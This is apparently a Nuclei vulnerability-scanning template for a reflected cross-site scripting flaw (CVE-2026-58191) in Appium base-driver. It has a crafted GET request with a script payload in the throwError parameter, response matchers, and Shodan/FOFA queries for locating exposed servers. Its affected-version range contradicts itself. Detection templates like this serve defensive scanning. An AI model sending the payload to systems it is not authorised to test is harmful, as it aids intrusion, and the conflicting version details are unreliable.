id: CVE-2026-58191 info: name: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting author: str4k3r severity: medium description: | Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests. impact: | Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks. remediation: | Update to version 10.7.0 or later. reference: - https://github.com/appium/appium/security/advisories/GHSA-3wgp-x9p5-c7cc - https://github.com/appium/appium/commit/d94a40af9f8040191ee7888571a1c9d5aec59f89 - https://github.com/appium/appium/releases/tag/@appium/base-driver@10.7.0 - https://nvd.nist.gov/vuln/detail/CVE-2026-58191 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N cvss-score: 6.5 cve-id: CVE-2026-58191 epss-score: 0.00564 epss-percentile: 0.4617 cwe-id: CWE-79 metadata: verified: true max-request: 1 vendor: appium product: appium shodan-query: 'http.favicon.hash:-144749386' fofa-query: 'icon_hash="-144749386"' tags: cve,cve2026,appium,xss,base-driver,node http: - raw: - | GET /test/guinea-pig?throwError=%27%2balert(document.domain)%2b%27 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "alert(document.domain)")' - 'contains_all(body, "This page is a Selenium sandbox", "Appium")' condition: and # digest: 4b0a00483046022100971aab75f117038038c892aeb2389fb510f488a49fd84762fe08b1610a514bc9022100873d8c3795a0998834976b1ee8509ebc6fd46840aae7d493f31f5a083f1a563f:922c64590222798bb761d5b6d8e72950